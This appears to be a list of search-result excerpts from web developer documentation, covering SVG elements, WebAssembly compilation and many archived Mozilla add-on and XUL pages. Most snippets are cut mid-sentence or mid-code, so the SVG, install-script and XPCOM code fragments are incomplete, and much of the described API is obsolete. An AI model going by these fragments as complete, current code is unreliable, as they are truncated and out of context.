specifications specification status comment css writing modes module level 3the definition of 'writing-mode' in that specification.
... proposed recommendation definition in css writing modes 3 scalable vector graphics (svg) 2the definition of 'writing-mode' in that specification.
... candidate recommendation mainly refers to the definition in css writing modes 3 and defines a mapping between the deprecated svg 1.1 values and the new values.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
xml:lang - SVG: Scalable Vector Graphics
the most common syntax is a value formed by a lowercase two-character part for the language and an uppercase two-character part for the region or country, separated by a minus sign, e.g.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'xml:lang' in that specification.
... candidate recommendation made the lang attribute (without namespace) available on all elements and defined the interaction between both.
... recommendation initial definition ...
<foreignObject> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <style> div { color: white; font: 18px serif; height: 100%; overflow: auto; } </style> <polygon points="5,5 195,10 185,185 10,195" /> <!-- common use case: embed html text into svg --> <foreignobject x="20" y="20" width="160" height="160"> <!-- in the context of svg embedded in an html document, the xhtml namespace could be omitted, but it is mandatory in the context of an svg document --> <div xmlns="http://www.w3.org/1999/xhtml"> lorem ipsum dolor sit amet, consectetur adipiscing elit.
...ns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<foreignobject>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<foreignobject>' in that specification.
... recommendation initial definition ...
<metadata> - SVG: Scalable Vector Graphics
WebSVGElementmetadata
lug"/> </g> <g id="socket4" transform="translate(160 20)"> <title>socket 4</title> <use xlink:href="#hubplug"/> </g> <g id="socket5" transform="translate(205 20)"> <title>socket 5</title> <use xlink:href="#hubplug"/> </g> </g> </symbol> <!-- computer symbol --> <symbol id="computer"> <desc>a common desktop pc</desc> <g id="monitorstand" transform="translate(40 121)"> <title>monitor stand</title> <desc>one of those cool swivelling monitor stands that sit under the monitor</desc> <path d="m0,0 s 10 10 40 12"/> <path d="m80,0 s 70 10 40 12"/> <path d="m0,20 l 10 10 s 40 12 70 10 l 80 20z"/> </g> <g id="monitor"> <title>monitor...
...--> <g id="cablen" transform="translate(242 88)"> <title>cable n</title> <desc>10baset twisted pair cable</desc> <path d="m0,0c0,-70 20,-50 60,-50"/> </g> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of '<metadata>' in that specification.
... candidate recommendation allowed global event attributes on the element.
... recommendation initial definition ...
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
WebSVGElementtitle
if an element can be described by visible text, it is recommended to reference that text with an aria-labelledby attribute rather than using the <title> element.
...title> </rect> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<title>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<title>' in that specification.
... recommendation initial definition ...
Basic Transformations - SVG: Scalable Vector Graphics
an example: <svg width="30" height="10"> <g fill="red"> <rect x="0" y="0" width="10" height="10" /> <rect x="20" y="0" width="10" height="10" /> </g> </svg> all following transformations are summed up in an element's transform attribute.
... rotation rotating an element is quite a common task.
...for example, translate() and rotate() are common used transformations.
...detailed information about this property can be found in the svg recommendation.
Introduction - SVG: Scalable Vector Graphics
flavors of svg since becoming a recommendation in 2003, the most recent "full" svg version is 1.1.
...the second edition of svg 1.1 became a recommendation in 2011.
... apart from the full svg recommendations, the working group at the w3c introduced svg tiny and svg basic in 2003.
...in 2008, svg tiny 1.2 became a w3c recommendation.
For Further Reading - XSLT: Extensible Stylesheet Language Transformations
« transforming xml with xslt print books xslt: programmer's reference, second edition author: michael h.
... http://www.amazon.com/xslt-programme.../dp/0764543814 xslt author: doug tidwell length: 473 pages publisher: o'reilly media; 1 edition (august 15, 2001) isbn: 0596000537 doug tidwell is a senior developer at ibm and a prominent evangelist for xml technologies generally.
... http://www.amazon.com/gp/product/0596004206 digital websites world wide web consortium the w3c homepage: http://www.w3.org/ the main xsl page: http://www.w3.org/style/xsl/ the version 1.0 recommendation for xslt: http://www.w3.org/tr/xslt archive of public style (css and xslt) discussions: http://lists.w3.org/archives/public/www-style/ the version 1.0 recommendation for xpath: http://www.w3.org/tr/xpath the world wide web consortium is the body that publishes recommendations for a number of web-based technologies, many of which become the de-facto standard.
...ken holman location: http://www.xml.com/pub/a/2000/08/holman/index.html tutorials/examples zvon xsl programmers: http://www.zvon.org/o_html/group_xsl.html jeni's xslt pages index: http://www.jenitennison.com/xslt/ xmlpitstop.com stylesheet center: http://www.xmlpitstop.com/default.asp?datatype=ssc xsl tutorial index: http://www.nwalsh.com/docs/tutorials/xsl/ other cover pages extensible stylesheet language (xsl): http://www.oasis-open.org/cover/xsl.ht...
Compiling a New C/C++ Module to WebAssembly - WebAssembly
take a copy of the following simple c example, and save it in a file called hello.c in a new directory on your local drive: #include <stdio.h> int main(int argc, char ** argv) { printf("hello world\n"); } now, using the terminal window you used to enter the emscripten compiler environment, navigate to the same directory as your hello.c file, and run the following command: emcc hello.c -s wasm=1 -o hello.html the options we’ve passed in with the command are as follows: -s wasm=1 — specifies that we want wasm output.
... now navigate into your new directory (again, in your emscripten compiler environment terminal window), and run the following command: emcc -o hello2.html hello2.c -o3 -s wasm=1 --shell-file html_template/shell_minimal.html the options we've passed are slightly different this time: we've specified -o hello2.html, meaning that the compiler will still output the javascript glue code and .html.
...the above command will have generated hello2.html, which will have much the same content as the template with some glue code added into load the generated wasm, run it, etc.
...from inside your latest directory (and while inside your emscripten compiler environment terminal window), compile your c code with the following command.
Compiling from Rust to WebAssembly - WebAssembly
to download and install it, enter the following command into your terminal: $ cargo install wasm-pack install node.js we are building an npm package in this tutorial, and so you need to have node.js and npm installed.
...we give a high-level explanation here, and gloss over some details; to learn more about rust, please check the free online book the rust programming language.
... using wasm-bindgen to communicate between rust and javascript the first part looks like this: use wasm_bindgen::prelude::*; libraries are called "crates" in rust.
... the third line contains a use command, which imports code from a library into your code.
Using the WebAssembly JavaScript API - WebAssembly
note: since an arraybuffer’s bytelength is immutable, after a successful memory.prototype.grow() operation the buffer getter will return a new arraybuffer object (with the new bytelength) and any previous arraybuffer objects become “detached”, or disconnected from the underlying memory they previously pointed to.
... thus, tables are currently a rather low-level primitive used to compile low-level programming language features safely and portably.
... the mutations are immediately accessible via table.prototype.get() in javascript, and to wasm modules.
... summary this article has taken you through the basics of using the webassembly javascript api to include a webassembly module in a javascript context and make use of its functions, and how to use webassembly memory and tables in javascript.
Cross-domain Content Scripts - Archive of obsolete content
cross-domain xmlhttprequest the following add-on creates a panel whose content is the summary weather forecast for shetland.
...how", function(){ forecast_panel.port.emit("show"); }); require("sdk/ui/button/action").actionbutton({ id: "get-forecast", label: "get the forecast", icon: "./icon-16.png", onclick: function() { forecast_panel.show(); } }); the "panel.html" just includes a <div> block for the forecast: <!doctype html> <!-- panel.html --> <html> <head></head> <body> <div id="forecast_summary"></div> </body> </html> the "panel-script.js" uses xmlhttprequest to fetch the latest forecast: // panel-script.js var url = "http://datapoint.metoffice.gov.uk/public/data/txt/wxfcs/regionalforecast/json/500?key=your-api-key"; self.port.on("show", function () { var request = new xmlhttprequest(); request.open("get", url, true); request.onload = function () { var jsonresponse =...
... json.parse(request.responsetext); var summary = getsummary(jsonresponse); var element = document.getelementbyid("forecast_summary"); element.textcontent = summary; }; request.send(); }); function getsummary(forecast) { return forecast.regionalfcst.fcstperiods.period[0].paragraph[0].$; } finally, we need to add the "cross-domain-content" key to "package.json": "permissions": { "cross-domain-content": ["http://datapoint.metoffice.gov.uk"] } content permissions and unsafewindow if you use "cross-domain-content", then javascript values in content scripts will not be available from pages.
XUL Migration Guide - Archive of obsolete content
there is a collection of community-developed modules that includes various user interface components.
...but the sdk makes a distinction between: add-on scripts, which can use the sdk apis, but are not able to interact with web pages content scripts, which can access web pages, but do not have access to the sdk's apis content scripts and add-on scripts communicate by sending each other json messages: in fact, the ability to communicate with the add-on scripts is the only extra privilege a content script is granted over a normal remote web page script.
... using the supported apis the sdk provides a set of high level apis providing some basic user interface components and functionality commonly required by add-ons.
hotkeys - Archive of obsolete content
the following commonly used hotkey combinations will not pass amo review: accel-z, accel-c, accel-x, accel-v or accel-q if you choose to use a key combination that's already defined, choose one which makes sense for the operation it will perform.
...on the macintosh, this is the command key.
... accel: the key used for keyboard shortcuts on the user's platform, which is control on windows and linux, and command on mac.
simple-prefs - Archive of obsolete content
there are: mandatory attributes that all preferences must have optional attributes attributes that are specific to the preference's data type mandatory common attributes these are attributes that all preferences must have.
... optional common attributes these are attributes that all preferences may have: attribute description description this appears below the preference title in the add-ons manager ui.
... you can also see them and change them programmatically using the prefs property, and listen for changes to a preference using on().
core/promise - Archive of obsolete content
implementation of promises to make asynchronous programming easier.
... in the add-on sdk we follow commonjs promises/a specification and model a promise as an object with a then method, which can be used to get the eventual return (fulfillment) value or thrown exception (rejection): foo().then(function success(value) { // ...
...this is the common case, but every once in a while, you will need to create a promise from scratch.
test/assert - Archive of obsolete content
implements the assert interface defined in the commonjs unit testing specification version 1.1.
... the assert object's interface is defined by the commonjs unit testing specification, version 1.1.
...deep equality is defined in the commonjs specification for assert, item 7, which is quoted here: all identical values are equivalent, as determined by ===.
Dialogs and Prompts - Archive of obsolete content
for each of these buttons you can set their label, accesskey and oncommand handler by adding buttonlabel<buttonname>, buttonaccesskey<buttonname> and ondialog<buttonname> attributes to the dialog element.
... be sure to use ondialog* attributes on dialog element instead of putting oncommand on the button with dlgtype, because button's oncommand is executed only when the button is pressed, and ondialog* handlers are executed for keyboard and other events too.
... programmatic button access if you want to access the accept ("ok") and cancel buttons from script, use this: // disable the ok and cancel btns document.documentelement.getbutton("accept").disabled = true; document.documentelement.getbutton("cancel").disabled = true; links dialog.xml — xbl bindings for <dialog> and <dialogheader> elements.
Code snippets - Archive of obsolete content
these examples demonstrate how to accomplish basic tasks that might not be immediately obvious.
...therefore, it is also possible, in theory, to use ecmascript for a smaller task: parsing exotic programming languages (i.e., creating compilers).
... browser-oriented code tabbed browser code (firefox/seamonkey) basic operations, such as page loading, with the tabbed browser, which is the heart of mozilla's browser applications cookies reading, writing, modifying, and removing cookies page loading code used to load pages, reload pages, and listen for page loads interaction between privileged and non-privileged code how to communicate from extensions to websites and vice-versa.
How to convert an overlay extension to restartless - Archive of obsolete content
asses["@mozilla.org/network/file-input-stream;1"] .createinstance(components.interfaces.nsifileinputstream) .queryinterface(components.interfaces.nsiseekablestream); stream.init(file, 0x01, 0444, 0); // read-only, read by owner/group/others, normal behavior /* do stuff */ }); this bit of code is paraphrased and probably not to be recommended as-is, but it should work.
... (note that the usage of an octal integer literal, while standard for handling permissions, is dangerous and deprecated; usage of use es5 strict mode to disable this and other foot-guns is recommended) if you need to read/manipulate binary data, a nsibinaryinputstream instance is what you'll use on that stream (e.g.
...i'd generally still recommend using the type specific functions for each pref individually, but to load the defaults just use the generic functions above and it's quite simple.
Chapter 1: Introduction to Extensions - Archive of obsolete content
this document was authored by hideyuki emura and was originally published in japanese for the firefox developers conference summer 2007.
...this class of extension requires a greater level of knowledge and programming ability.
... in order to create an extension, you need an idea and just a little programming ability.
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
and was originally published in japanese for the firefox developers conference summer 2007.
... for firefox 3.5 choose "mozilla 1.9.1." for the current development trunk of firefox, choose "mozilla central" and for thunderbird, choose "comm.
...listing 5 shows how to get a summary of all browser windows in firefox and then close them.
JavaScript Object Management - Archive of obsolete content
common cases include interacting with a local database or a remote api.
...this way we have immutable instances of our class.
...you shouldn't skip that section because there are many common situations in extension development where you'll have to use xpcom, maybe even implement xpcom components of your own.
Performance best practices in extensions - Archive of obsolete content
see common causes of memory leaks in extensions for ways to avoid zombie compartments and other kinds of leaks.
... many common services are already cached for you in services.jsm.
...the listeners should be added to the most specific element possible, and removed when not immediately necessary.
Security best practices in extensions - Archive of obsolete content
other items are recommendations.
... apis and other data handling web content is more than just pages, and more and more add-ons are interacting with web services via an application programming interface (api).
... third-party javascript in the context of web sites, using javascript written by others is very common.
Defining Cross-Browser Tooltips - Archive of obsolete content
summary: authors are used to having alt text appear as a &quot;tooltip&quot; above images, but that's not how it was meant to be used.
... recommendations use the title attribute (instead of alt) to ensure desired tooltip behavior in multiple browsers.
...meyer, netscape communications last updated date: published 16 aug 2002 copyright information: copyright © 2001-2003 netscape.
Bookmark Keywords - Archive of obsolete content
under ordinary circumstances, this might be used to reduce typing of a common url: http://www.cnn.com/ could be given the keyword cnn.
...any web site that you commonly search is a candidate for its own keymark.
...meyer, netscape communications last updated date: published 15 mar 2002 copyright information: copyright © 2001-2003 netscape.
Creating a hybrid CD - Archive of obsolete content
# example filename mapping file used by mkhybrid for hfs # # extn xlate creator type comment .hqx ascii 'sitx' 'text' "binhex file" .zip raw 'sitx' 'zip ' "zip file" .gz raw 'sitx' 'zip ' "gzip file" .tgz raw 'sitx' 'zip ' "tar.gz gzip file" .tar raw 'sitx' 'tarf' "tar file" .tif raw '8bim' 'tiff' "photoshop tiff image" .doc raw 'mswd' 'wdbn' "word file" .mov raw 'tvod' 'moov' "quick...
...time movie" .bin raw 'sitx' 'bina' "mac binary" .h ascii 'cwie' 'text' "c/c++ header file" .c ascii 'cwie' 'text' "c source file" .cp ascii 'cwie' 'text' "c++ source file" .cpp ascii 'cwie' 'text' "c++ source file" .exp ascii 'cwie' 'text' "symbol export file" .mcp raw 'cwie' 'mmpr' "codewarrior project file" .r ascii 'mps ' 'text' "rez file" .html ascii 'moss' 'text' "html file" .htm ascii 'moss' 'text' "html file" .txt ascii 'moss' 'text' "text file" readme ascii 'moss' 'text' "text file" changes ascii 'moss' 'text' "text file" install ascii 'moss' 'text' "text file" license ascii 'moss' 'text' "text file" .gif raw 'ogle...
... original document information author(s): dawn endico last updated date: may 1, 2001 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Dehydra Function Reference - Archive of obsolete content
gcc command line -fplugin=/path/to/gcc_dehydra.so -fplugin-arg-gcc_dehydra=/path/to/your/script.js callback functions the following functions may be provided by the analysis script and will be called by dehydra while compiling.
... optional: code is an integer parameter that allows warnings to be enabled(-wfoo) and disabled(-wno-) on the gcc commandline.
..."gnu c" or "gnu c++") arguments this.arguments is a javascript array containing command-line arguments passed to a script.
Developing New Mozilla Features - Archive of obsolete content
but our developers are a precious commodity and their time is probably the most important resource we have.
...we’re committed to this style of development, but recognize that vigilance is necessary to make sure newcomers and their features don’t get lost.
... original document information author(s): mitchell baker last updated date: october 30, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Building Firefox with Rust code - Archive of obsolete content
firefox uses the rust programming language extensively.
...if you don't have rust already, use the rustup tool to install it and update as new releases become available, or use the ./mach bootstrap command.
...this is automated by the mach vendor command, which installs the dependencies in third_party/rust.
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
bird's eye view <map id="loaddiagrammap" name="loaddiagrammap"><area alt="(13) docontent()" coords="534,239,715,300" href="#nsiexternalhelperappservice::docontent"> <area alt="(10) getcategoryentry()" coords="575,418,821,418,821,455,629,455,629,484,575,484" href="#categorymanager" shape="poly"> <area alt="(12)" coords="539,133,583,163" href="#stream-converter"> <area alt="(11)" coords="485,133,537,163" href="#contenthandler"> <area a...
...it immediately hands off to nsuriloader::openchannel.
... original document information author(s): boris zbarsky last updated date: october 24, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Documentation for BiDi Mozilla - Archive of obsolete content
this is determined in nstextfragment::setto the page includes a element with the attribute dir=rtl, either explicitly (nsgenerichtmlelement::mapcommonattributesinto), or as a consequence of a style rule (mapdeclarationtextinto in nscssstylerule.cpp) all these cases use nsdocument::enablebidi to set the flag mbidienabled.
...where the system is capable of tasks such as reversing and shaping text, symmetric swapping, numeric translation, etc., no special text rendering is needed, though there may be a call to a native api to set the base text direction (for example settextalign on windows).
...improvements to lists with hebrew and arabic list-style-type summary of new classes class name xpcom interface (if applicable) implementation comments nsibidi intl\unicharutil\public\nsibidi.h intl\unicharutil\src\nsbidiimp.cpp implementation of the unicode bidi algorithm nsiubidiutils intl\unicharutil\public\nsiubidiutils.h intl\unicharutil\src\nsbidiutilsimp.cpp utilities for bidi processing, including: character classification symmetric swapping reor...
Downloading Nightly or Trunk Builds - Archive of obsolete content
there are some terms that are used by the mozilla community.
...as a development organization, the mozilla community tends to describe things from the bottom up.
...the three common cases are "trunk", meaning the most recent version of mozilla; "branch", meaning the version before trunk (though it can be any version before trunk); and "next", meaning a possible version in the future.
Using microformats - Archive of obsolete content
microformats allow web sites to provide semantic data to the browser in order to make it possible to present summaries of the information on a page without having to know how to parse the document itself.
... predefined microformats firefox 3 provides definitions implementing several common microformats: adr represents an address (such as a street or mailing address).
... var nummicroformats = microformats.count(name, rootelement, options); parameters name the name of the microformat to count.
Helper Apps (and a bit of Save As) - Archive of obsolete content
limitations of nsimimeinfo no way to say "do whatever the os default is." no support for command-line arguments.
... no support for multiple commands connected by pipes (mostly useful on unix).
... original document information author(s): boris zbarsky last updated date: september 12, 2002 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
popChallengeResponse - Archive of obsolete content
resultstring = crypto.popchallengeresponse("challengestring"); argument description "challengestring" a base-64 encoded cmmf popodeckeychallcontent message.
... the current implementation does not conform to that defined in the cmmf draft, and we intend to change this implementation to that defined in the cmc rfc..
... challenge ::= sequence { owf algorithmidentifier optional, -- must be present in the first challenge; may be omitted in any -- subsequent challenge in popodeckeychallcontent (if omitted, -- then the owf used in the immediately preceding challenge is -- to be used).
Modularization techniques - Archive of obsolete content
a simple example it is recommended that you use xpidl to define your interfaces.
...here's a quick summary.
... links the component object model specification revision history feb 25, 1998, created oct 19, 1998, dusted off momentarily oct 10, 1999, added comments about xpidl, language-independentness original document information author(s): will scullin last updated date: september 13, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details ...
Nanojit - Archive of obsolete content
out.ins0(lir_start); lins *two = out.insimm(2); lins *firstparam = out.insparam(0, 0); lins *result = out.ins2(lir_add, firstparam, two); out.ins1(lir_ret, result); // emit a lir_loop instruction.
... lins *rec_ins = out.insskip(sizeof(guardrecord) + sizeof(sideexit)); guardrecord *guard = (guardrecord *) rec_ins->payload(); memset(guard, 0, sizeof(*guard)); sideexit *exit = (sideexit *)(guard + 1); guard->exit = exit; guard->exit->target = f; f->lastins = out.insguard(lir_loop, out.insimm(1), rec_ins); // compile the fragment.
... out.ins0(lir_start); lins *two = out.insimm(2); lins *firstparam = out.insparam(0, 0); lins *result = out.ins2(lir_add, firstparam, two); out.ins1(lir_ret, result); basically, what the code provided above is doing is feeding raw lir into the lir buffer, using the lirwriter's writer object.
Bundles - Archive of obsolete content
webapp bundle in addition to passing simple command line parameters, prism can use a zipped bundle package to install a webapp.
...when prism is launched with a "-webapp [bundle]" command line, the bundle must first be unpacked before the web application is launched.
...this is why the preferred method of launching is to use the "-webapp [webapp-id]" command line, which looks for the previously installed (unpacked) web application in the prism webapps/{webapp-id} folder.
Remote debugging - Archive of obsolete content
when a bug is reproducible by a community member, but not on a developer's computer, a last-resort strategy is to debug it on the community member's computer.
...core dumps on mac and linux to generate a core dump on mac, type "ulimit -c unlimited", run firefox from the command line, and make firefox crash.
...the developer can give you appropriate commands to type into the debugger.
Table Layout Strategy - Archive of obsolete content
specs the table layout algorithm is based on two w3c recommendations: html 4.01 (chapter 11) and css2.1 (chapter 17).in css2 a distinction between fixed and auto layout of tables has been introduced.
... the words the table layout is width oriented and knows the following widths: minimum content width - min the minimum width that is required to layout the content, all linebreak possibilities will be used percent width - pct the cell width specified in percent, fixed width - fix the cell width specified as px, mm etc., proportional width - prop the cell width specified via 1*, 2* etc.
... original document information author(s): bernd mielke last updated date: september 27, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Tamarin Build System Documentation - Archive of obsolete content
to provide quick and accurate results of building and testing tamarin on supported platforms and configurations to represent the build results in a clear and concise manor please give use feedback if you have any comments or suggestions to improve the build system how to add tests to the smokes?
... the list of smoke tests are located in the tamarin-repository, test/run-smokes.txt, assume the start directory is test format is cd testdir; command to run test above the test should be a # comment describing why the test in the smokes, when test failed, possibly a bugzilla bug the tests can be run by following the above instructions for running buildbot scripts locally and executing the all/run-smoke-tests.sh as a rule any test failure should be immediately added to the top of the smoke test list so the list is prioritized how to exclude tests from acceptance or mark them as known failures?
... the test/acceptance/testconfig.txt file contains a list of tests marked as expected failures or skipped with the configuration see the testconfig.txt for current instructions generally the format is comma separated list with regular expressions for test and configuration.
URIs and URLs - Archive of obsolete content
resources are identified by uri "uniform resource identifier" (taken from rfc 2396): uniform uniformity provides several benefits: it allows different types of resource identifiers to be used in the same context, even when the mechanisms used to access those resources may differ; it allows uniform semantic interpretation of common syntactic conventions across different types of resource identifiers; it allows introduction of new types of resource identifiers without interfering with the way that existing identifiers are used; and, it allows the identifiers to be reused in many different contexts, thus permitting new applications or protocols to leverage a pre-existing, large, and widely-used set of resource identifiers.
...parsing urls rfc 2396 defines an url parser that can deal with the syntax that is common to most url schemes that are currently in existence.
... original document information author(s): andreas otte last updated date: january 2, 2002 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Windows Install - Archive of obsolete content
nction verifies disk space in kilobytes function verifydiskspace(dirpath, spacerequired) { var spaceavailable; // get the available disk space on the given path spaceavailable = filegetdiskspaceavailable(dirpath); // convert the available disk space into kilobytes spaceavailable = parseint(spaceavailable / 1024); // do the verification if(spaceavailable < spacerequired) { logcomment("insufficient disk space: " + dirpath); logcomment(" required : " + spacerequired + " k"); logcomment(" available: " + spaceavailable + " k"); return(false); } return(true); } function updatewinreg4ren8dot3() { var fprogram = getfolder("program"); var ftemp = getfolder("temporary"); //notes: // can't use a double backslash before subkey // - windows al...
....windowsgetshortname(flongfilepath); if(sshortfilepath) { fren8dot3ini.writestring("rename", sshortfilepath, flongfilepath); binicreated = true; } } if(binicreated) updatewinreg4ren8dot3() ; } return(0); } // main var srdest; var err; var fprogram; srdest = 449; err = initinstall(prettyname, regname, "6.0.0.2000110801"); logcomment("initinstall: " + err); fprogram = getfolder("program"); logcomment("fprogram: " + fprogram); if(verifydiskspace(fprogram, srdest)) { setpackagefolder(fprogram); err = adddirectory("", "6.0.0.2000110801", "bin", // dir name in jar to extract fprogram, // where to put this file // (returned from getfolder) "", // subdir name to create relative to fprogram ...
...true); // force flag logcomment("adddirectory() returned: " + err); // check return value if(err == success) { err = performinstall(); logcomment("performinstall() returned: " + err); } else cancelinstall(err); } else cancelinstall(insufficient_disk_space); // end main ...
modDateChanged - Archive of obsolete content
summary returns whether file has been modified since a certain date.
... example filesource1 = getfolder("program", "file1.txt"); filesource2 = getfolder("program", "file2.txt"); err1 = file.moddate(filesource1); // the baseline returned err2 = file.moddatechanged(filesource1, err1); logcomment("file.moddatechanged should return 'false' = " + err2); // the reason it expects false is we're comparing // the return 'time stamp' value for // file1.txt with the actual file1.txt itself.
... err3 = file.moddatechanged(filesource2, err1); logcomment("file.moddatechanged should return 'true' = " + err2); // the reason it expects true is we're comparing // the return 'time stamp' value for // file1.txt with another file, file2.txt, with a different // 'time stamp' value.
XPJS Components Proposal - Archive of obsolete content
xpconnect provides the mechanisms for communication between native and js xpcom components, but it does not provide all of the infrastructure to register and instantiate js components outside of the limitations of the browser window.
... the js module is free to implement factories and components and services that the factories construct on command.
... comments and suggestions welcome!
collapse - Archive of obsolete content
before when the grippy is clicked, the element immediately before the splitter in the same parent is collapsed so that its width or height is 0.
... after when the grippy is clicked, the element immediately after the splitter in the same parent is collapsed so that its width or height is 0.
... both either the element immediately before the splitter, or the element immediately after the splitter can be collapsed, if the size of that element would fall below the minimum size due to the position of the splitter.
modifiers - Archive of obsolete content
multiple keys may be separated by spaces or commas.
...on the macintosh, this is the command key.
... accel: the key used for keyboard shortcuts on the user's platform, which is control on windows and linux, and command on mac.
Attribute (XUL) - Archive of obsolete content
sclosure buttonaccesskeyextra1 buttonaccesskeyextra2 buttonaccesskeyhelp buttonalign buttondir buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed color cols command commandupdater completedefaultindex container containment contentcontextmenu contenttooltip context contextmenu control crop curpos current currentset customindex customizable cycler datasources decimalplaces default defaultbutton defaultset description dir disableautocomplete disableautoselect disableclose disabled disablehistory disablekeynavigation disablesecur...
...t-tab left linkedpanel max maxheight maxlength maxpos maxrows maxwidth member menu menuactive min minheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline multiple name negate newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpagehide onpagerewound onpageshow onpaneload onpopuphidden onpopuphiding onpopupshowing onpopupshown onsearchcomplete onselect ontextcommand ontextentered ontextrevert ontextrevert...
... pageincrement pagestep parent parsetype persist persistence phase pickertooltiptext placeholder popup position predicate preference preference-editable primary priority properties querytype readonly ref rel removeelement resizeafter resizebefore rows screenx screeny searchbutton searchsessions searchlabel selected selectedindex seltype setfocus showcaret showcommentcolumn showpopup size sizemode sizetopopup smoothscroll sort sortactive sortdirection sortresource sortresource2 spellcheck src state statedatasource statusbar statustext style subject substate suppressonselect tabindex tabscrolling targets template timeout title toolbarname tooltip tooltiptext tooltiptextnew top type uri useraction validate value var visua...
Building accessible custom components in XUL - Archive of obsolete content
the individual cells, row headers, and column headers are not in the tab order, but we can still set focus to them programmatically using javascript whenever the user clicks a specific cell.
...the only remaining issue is that when the spreadsheet regains focus (by pressing shift-tab, or cycling all the way around the tab order and coming back into the spreadsheet), we need to programmatically reset the focus to the previously focused cell.
...(we could have laid out the grid by rows instead of columns, but that just shifts the complexity to a different navigation command.) here is the keyboard navigation code: <code> const key_up = 38; const key_down = 40; const key_left = 37; const key_right = 39; function cell_keypress(e) { var current = e.target; switch (e.keycode) { case key_up: spreadsheet_up(current); break; case key_down: spreadsheet_down(current); break; case key_left: spreadsheet_left(curren...
Accessing Files - Archive of obsolete content
a common case is to write a file in the directory that holds the user's preferences.
...the actual location of this directory will vary by user and system, so this is a convenient means to refer to a common directory without having to locate it yourself.
...if the application was launched from a command line, for instance, this will be the directory where the application was launched from, which may be different from the 'application' value.
How to implement a custom XUL query processor component - Archive of obsolete content
using a custom query processor: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <grid> <columns> <column flex="1"/> <column flex="3"/> <column flex="2"/> <column flex="1"/> </columns> <rows datasources="dummy" ref="." querytype="simpledata"> <template> <row uri="?"> <label value="?name"/> <label value="?age"/> <label value="?hair"/> <label value="?eye"/> </row> </template> </rows> </grid> </window> a few things to note.
... we are not really using the datasources in our sample component, so we set it to a dummy value.
...x++]); } }; // the query processor class - implements nsixultemplatequeryprocessor function templatequeryprocessor() { // our basic list of data this._data = [ {name: "mark", age: 36, hair: "brown", eye: "brown"}, {name: "bill", age: 25, hair: "red", eye: "black"}, {name: "joe", age: 15, hair: "blond", eye: "blue"}, {name: "jimmy", age: 65, hair: "gray", eye: "dull"} ]; } templatequeryprocessor.prototype = { queryinterface: xpcomutils.generateqi([components.interfaces.nsixultemplatequeryprocessor]), classdescription: "sample xul template query processor", classid: components.id("{282cc4ea-a49c-44fc-81f4-1f03cbb7825f}"), contractid: "@mozilla.org/xul/xul-query-processor;1?name=simpledata", getda...
removeAllNotifications - Archive of obsolete content
« xul reference home removeallnotifications( immediate ) return type: no return value remove all notifications.
... if immediate is true, the messages are removed immediately.
... if immediate is false, the notifications are removed using a slide transition.
MenuModification - Archive of obsolete content
<script> function addtomenu() { var menu = document.getelementbyid("edit-menu"); menu.appenditem("insert", "insert"); } </script> <menu id="edit-menu"/> <button label="add" oncommand="addtomenu()"/> in this example, the addtomenu function is called when the button is pressed.
... comment: appenditem not working in tb 52.7.0.
...in this example, an item is appended to a menu, and then immediately removed again.
Panels - Archive of obsolete content
it is quite common however, to have an element such as a button within the panel to close it as well.
... for instance, using the search panel example above, we could add a button which closes the panel when pressed: <script> function dosearch() { document.getelementbyid("search-panel").hidepopup(); } </script> <toolbarbutton label="search" type="panel"> <panel id="search-panel" position="after_start"> <textbox id="search"/> <button label="search" oncommand="dosearch();"/> </panel> </toolbarbutton> in this example, the dosearch() function is called when the "search" button is pressed.
... <panel id="search-panel" noautohide="true"> <textbox id="search"/> <button label="search" oncommand="dosearch();"/> <button label="cancel" oncommand="this.parentnode.hidepopup();"/> </panel> because the panel can no longer be closed by clicking elsewhere, the panel should always provide a means to close the panel itself.
buttons - Archive of obsolete content
« xul reference buttons type: comma-separated list of the values below a comma-separated list of buttons to appear on the dialog box.
...you can set its label with the buttonlabelextra1 attribute and its command with the ondialogextra1 attribute.
...you can set its label with the buttonlabelextra2 attribute and its command with the ondialogextra2 attribute.
controllers - Archive of obsolete content
the controllers are used to respond to commands.
